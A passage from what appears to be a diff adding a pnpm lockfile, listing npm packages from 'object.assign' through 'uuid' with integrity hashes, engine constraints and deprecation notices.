sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + + object.assign@4.1.7: + resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} + engines: {node: '>= 0.4'} + + on-finished@2.4.1: + resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} + engines: {node: '>= 0.8'} + + once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + + one-time@1.0.0: + resolution: {integrity: sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==} + + optionator@0.8.3: + resolution: {integrity: sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==} + engines: {node: '>= 0.8.0'} + + p-is-promise@3.0.0: + resolution: {integrity: sha512-Wo8VsW4IRQSKVXsJCn7TomUaVtyfjVDn3nUP7kE967BQk0CwFpdbZs0X0uk5sW9mkBa9eNM7hCMaG93WUAwxYQ==} + engines: {node: '>=8'} + + p-map@4.0.0: + resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==} + engines: {node: '>=10'} + + parseurl@1.3.3: + resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} + engines: {node: '>= 0.8'} + + path-is-absolute@1.0.1: + resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} + engines: {node: '>=0.10.0'} + + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + + path-to-regexp@0.1.12: + resolution: {integrity: sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==} + + path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + pkg-fetch@3.4.2: + resolution: {integrity: sha512-0+uijmzYcnhC0hStDjm/cl2VYdrmVVBpe7Q8k9YBojxmR5tG8mvR9/nooQq3QSXiQqORDVOTY3XqMEqJVIzkHA==} + hasBin: true + + pkg@5.8.1: + resolution: {integrity: sha512-CjBWtFStCfIiT4Bde9QpJy0KeH19jCfwZRJqHFDFXfhUklCx8JoFmMj3wgnEYIwGmZVNkhsStPHEOnrtrQhEXA==} + hasBin: true + peerDependencies: + node-notifier: '>=9.0.1' + peerDependenciesMeta: + node-notifier: + optional: true + + possible-typed-array-names@1.1.0: + resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} + engines: {node: '>= 0.4'} + + prebuild-install@7.1.1: + resolution: {integrity: sha512-jAXscXWMcCK8GgCoHOfIr0ODh5ai8mj63L2nWrjuAgXE6tDyYGnx4/8o/rCgU+B4JSyZBKbeZqzhtwtC3ovxjw==} + engines: {node: '>=10'} + hasBin: true + + prebuild-install@7.1.3: + resolution: {integrity: sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==} + engines: {node: '>=10'} + hasBin: true + + prelude-ls@1.1.2: + resolution: {integrity: sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==} + engines: {node: '>= 0.8.0'} + + process-nextick-args@2.0.1: + resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==} + + process@0.11.10: + resolution: {integrity: sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==} + engines: {node: '>= 0.6.0'} + + progress@2.0.3: + resolution: {integrity: sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==} + engines: {node: '>=0.4.0'} + + promise-inflight@1.0.1: + resolution: {integrity: sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==} + peerDependencies: + bluebird: '*' + peerDependenciesMeta: + bluebird: + optional: true + + promise-retry@2.0.1: + resolution: {integrity: sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==} + engines: {node: '>=10'} + + proxy-addr@2.0.7: + resolution: {integrity: sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==} + engines: {node: '>= 0.10'} + + pstree.remy@1.1.8: + resolution: {integrity: sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w==} + + pump@3.0.3: + resolution: {integrity: sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==} + + qs@6.14.2: + resolution: {integrity: sha512-V/yCWTTF7VJ9hIh18Ugr2zhJMP01MY7c5kh4J870L7imm6/DIzBsNLTXzMwUA3yZ5b/KBqLx8Kp3uRvd7xSe3Q==} + engines: {node: '>=0.6'} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + range-parser@1.2.1: + resolution: {integrity: sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==} + engines: {node: '>= 0.6'} + + raw-body@2.5.3: + resolution: {integrity: sha512-s4VSOf6yN0rvbRZGxs8Om5CWj6seneMwK3oDb4lWDH0UPhWcxwOWw5+qk24bxq87szX1ydrwylIOp2uG1ojUpA==} + engines: {node: '>= 0.8'} + + rc@1.2.8: + resolution: {integrity: sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==} + hasBin: true + + readable-stream@2.3.8: + resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==} + + readable-stream@3.6.2: + resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} + engines: {node: '>= 6'} + + readdirp@3.6.0: + resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} + engines: {node: '>=8.10.0'} + + reflect-metadata@0.2.2: + resolution: {integrity: sha512-urBwgfrvVP/eAyXx4hluJivBKzuEbSQs9rKWCrCkbSxNv8mxPcUZKeuoF3Uy4mJl3Lwprp6yy5/39VWigZ4K6Q==} + + require-directory@2.1.1: + resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==} + engines: {node: '>=0.10.0'} + + require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + + resolve@1.22.11: + resolution: {integrity: sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==} + engines: {node: '>= 0.4'} + hasBin: true + + retry@0.12.0: + resolution: {integrity: sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==} + engines: {node: '>= 4'} + + reusify@1.1.0: + resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + + rimraf@3.0.2: + resolution: {integrity: sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==} + deprecated: Rimraf versions prior to v4 are no longer supported + hasBin: true + + run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + + safe-buffer@5.1.2: + resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} + + safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + + safe-regex-test@1.1.0: + resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==} + engines: {node: '>= 0.4'} + + safe-stable-stringify@2.5.0: + resolution: {integrity: sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==} + engines: {node: '>=10'} + + safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + + semver@7.7.4: + resolution: {integrity: sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==} + engines: {node: '>=10'} + hasBin: true + + send@0.19.2: + resolution: {integrity: sha512-VMbMxbDeehAxpOtWJXlcUS5E8iXh6QmN+BkRX1GARS3wRaXEEgzCcB10gTQazO42tpNIya8xIyNx8fll1OFPrg==} + engines: {node: '>= 0.8.0'} + + serve-static@1.16.3: + resolution: {integrity: sha512-x0RTqQel6g5SY7Lg6ZreMmsOzncHFU7nhnRWkKgWuMTu5NN0DR5oruckMqRvacAN9d5w6ARnRBXl9xhDCgfMeA==} + engines: {node: '>= 0.8.0'} + + set-blocking@2.0.0: + resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} + + set-function-length@1.2.2: + resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==} + engines: {node: '>= 0.4'} + + setprototypeof@1.2.0: + resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} + + side-channel-list@1.0.0: + resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} + engines: {node: '>= 0.4'} + + side-channel-map@1.0.1: + resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==} + engines: {node: '>= 0.4'} + + side-channel-weakmap@1.0.2: + resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} + engines: {node: '>= 0.4'} + + side-channel@1.1.0: + resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} + engines: {node: '>= 0.4'} + + signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + + simple-concat@1.0.1: + resolution: {integrity: sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==} + + simple-get@4.0.1: + resolution: {integrity: sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==} + + simple-update-notifier@2.0.0: + resolution: {integrity: sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==} + engines: {node: '>=10'} + + slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + + smart-buffer@4.2.0: + resolution: {integrity: sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==} + engines: {node: '>= 6.0.0', npm: '>= 3.0.0'} + + socket.io-adapter@2.5.6: + resolution: {integrity: sha512-DkkO/dz7MGln0dHn5bmN3pPy+JmywNICWrJqVWiVOyvXjWQFIv9c2h24JrQLLFJ2aQVQf/Cvl1vblnd4r2apLQ==} + + socket.io-parser@4.2.5: + resolution: {integrity: sha512-bPMmpy/5WWKHea5Y/jYAP6k74A+hvmRCQaJuJB6I/ML5JZq/KfNieUVo/3Mh7SAqn7TyFdIo6wqYHInG1MU1bQ==} + engines: {node: '>=10.0.0'} + + socket.io@4.8.3: + resolution: {integrity: sha512-2Dd78bqzzjE6KPkD5fHZmDAKRNe3J15q+YHDrIsy9WEkqttc7GY+kT9OBLSMaPbQaEd0x1BjcmtMtXkfpc+T5A==} + engines: {node: '>=10.2.0'} + + socks-proxy-agent@6.2.1: + resolution: {integrity: sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==} + engines: {node: '>= 10'} + + socks@2.8.7: + resolution: {integrity: sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==} + engines: {node: '>= 10.0.0', npm: '>= 3.0.0'} + + source-map-support@0.5.21: + resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==} + + source-map@0.6.1: + resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} + engines: {node: '>=0.10.0'} + + sqlite3@5.1.7: + resolution: {integrity: sha512-GGIyOiFaG+TUra3JIfkI/zGP8yZYLPQ0pl1bH+ODjiX57sPhrLU5sQJn1y9bDKZUFYkX1crlrPfSYt0BKKdkog==} + + ssri@8.0.1: + resolution: {integrity: sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==} + engines: {node: '>= 8'} + + stack-trace@0.0.10: + resolution: {integrity: sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==} + + statuses@2.0.2: + resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} + engines: {node: '>= 0.8'} + + stream-meter@1.0.4: + resolution: {integrity: sha512-4sOEtrbgFotXwnEuzzsQBYEV1elAeFSO8rSGeTwabuX1RRn/kEq9JVH7I0MRBhKVRR0sJkr0M0QCH7yOLf9fhQ==} + + streamsearch@1.1.0: + resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} + engines: {node: '>=10.0.0'} + + string-template@1.0.0: + resolution: {integrity: sha512-SLqR3GBUXuoPP5MmYtD7ompvXiG87QjT6lzOszyXjTM86Uu7At7vNnt2xgyTLq5o9T4IxTYFyGxcULqpsmsfdg==} + + string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + + string_decoder@1.1.1: + resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} + + string_decoder@1.3.0: + resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + + stringz@2.1.0: + resolution: {integrity: sha512-KlywLT+MZ+v0IRepfMxRtnSvDCMc3nR1qqCs3m/qIbSOWkNZYT8XHQA31rS3TnKp0c5xjZu3M4GY/2aRKSi/6A==} + + strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + + strip-json-comments@2.0.1: + resolution: {integrity: sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==} + engines: {node: '>=0.10.0'} + + stubborn-fs@2.0.0: + resolution: {integrity: sha512-Y0AvSwDw8y+nlSNFXMm2g6L51rBGdAQT20J3YSOqxC53Lo3bjWRtr2BKcfYoAf352WYpsZSTURrA0tqhfgudPA==} + + stubborn-utils@1.0.2: + resolution: {integrity: sha512-zOh9jPYI+xrNOyisSelgym4tolKTJCQd5GBhK0+0xJvcYDcwlOoxF/rnFKQ2KRZknXSG9jWAp66fwP6AxN9STg==} + + supports-color@5.5.0: + resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} + engines: {node: '>=4'} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + + tagged-tag@1.0.0: + resolution: {integrity: sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==} + engines: {node: '>=20'} + + tar-fs@2.1.4: + resolution: {integrity: sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==} + + tar-stream@2.2.0: + resolution: {integrity: sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==} + engines: {node: '>=6'} + + tar@6.2.1: + resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} + engines: {node: '>=10'} + deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me + + terser@5.46.0: + resolution: {integrity: sha512-jTwoImyr/QbOWFFso3YoU3ik0jBBDJ6JTOQiy/J2YxVJdZCc+5u7skhNwiOR3FQIygFqVUPHl7qbbxtjW2K3Qg==} + engines: {node: '>=10'} + hasBin: true + + text-hex@1.0.0: + resolution: {integrity: sha512-uuVGNWzgJ4yhRaNSiubPY7OjISw4sw4E5Uv0wbjp+OzcbmVU/rsT8ujgcXJhn9ypzsgr5vlzpPqP+MBBKcGvbg==} + + to-fast-properties@2.0.0: + resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==} + engines: {node: '>=4'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + toidentifier@1.0.1: + resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} + engines: {node: '>=0.6'} + + touch@3.1.1: + resolution: {integrity: sha512-r0eojU4bI8MnHr8c5bNo7lJDdI2qXlWWJk6a9EAFG7vbhTjElYhBVS3/miuE0uOuoLdb8Mc/rVfsmm6eo5o9GA==} + hasBin: true + + tr46@0.0.3: + resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} + + triple-beam@1.4.1: + resolution: {integrity: sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==} + engines: {node: '>= 14.0.0'} + + ts-node@10.9.2: + resolution: {integrity: sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==} + hasBin: true + peerDependencies: + '@swc/core': '>=1.2.50' + '@swc/wasm': '>=1.2.50' + '@types/node': '*' + typescript: '>=2.7' + peerDependenciesMeta: + '@swc/core': + optional: true + '@swc/wasm': + optional: true + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + tunnel-agent@0.6.0: + resolution: {integrity: sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==} + + type-check@0.3.2: + resolution: {integrity: sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==} + engines: {node: '>= 0.8.0'} + + type-fest@5.4.4: + resolution: {integrity: sha512-JnTrzGu+zPV3aXIUhnyWJj4z/wigMsdYajGLIYakqyOW1nPllzXEJee0QQbHj+CTIQtXGlAjuK0UY+2xTyjVAw==} + engines: {node: '>=20'} + + type-is@1.6.18: + resolution: {integrity: sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==} + engines: {node: '>= 0.6'} + + typedarray@0.0.6: + resolution: {integrity: sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==} + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + uint8array-extras@1.5.0: + resolution: {integrity: sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==} + engines: {node: '>=18'} + + undefsafe@2.0.5: + resolution: {integrity: sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA==} + + undici-types@6.21.0: + resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} + + unique-filename@1.1.1: + resolution: {integrity: sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==} + + unique-slug@2.0.2: + resolution: {integrity: sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==} + + universalify@2.0.1: + resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} + engines: {node: '>= 10.0.0'} + + unpipe@1.0.0: + resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} + engines: {node: '>= 0.8'} + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + util@0.12.5: + resolution: {integrity: sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==} + + utils-merge@1.0.1: + resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==} + engines: {node: '>= 0.4.0'} + + uuid@11.1.0: + resolution: {integrity: 